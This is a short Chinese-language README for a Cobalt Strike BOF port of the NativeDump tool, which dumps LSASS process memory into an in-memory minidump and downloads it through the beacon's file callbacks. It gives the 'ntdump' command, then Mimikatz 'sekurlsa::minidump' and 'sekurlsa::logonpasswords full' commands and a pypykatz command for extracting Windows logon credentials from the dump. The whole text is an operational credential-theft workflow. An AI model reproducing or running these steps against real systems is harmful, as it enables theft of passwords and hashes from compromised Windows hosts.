工具 https://github.com/ricardojoserf/NativeDump 的 BOF 移植版，由 @ricardojoserf 编写。
导入 NtDump.cna 并运行：
ntdump <filename>
minidump 文件将在内存中创建，并通过 CALLBACK_FILE 和 CALLBACK_FILE_WRITE 下载。 下载完成后，文件将显示在 视图 -> 下载 中。
随后可以使用 Mimikatz 解析该文件：
mimikatz # sekurlsa::minidump <file path to downloaded minidump file>
mimikatz # sekurlsa::logonpasswords full
或者使用 pypykatz：
pypykatz lsa minidump <file path to downloaded minidump file>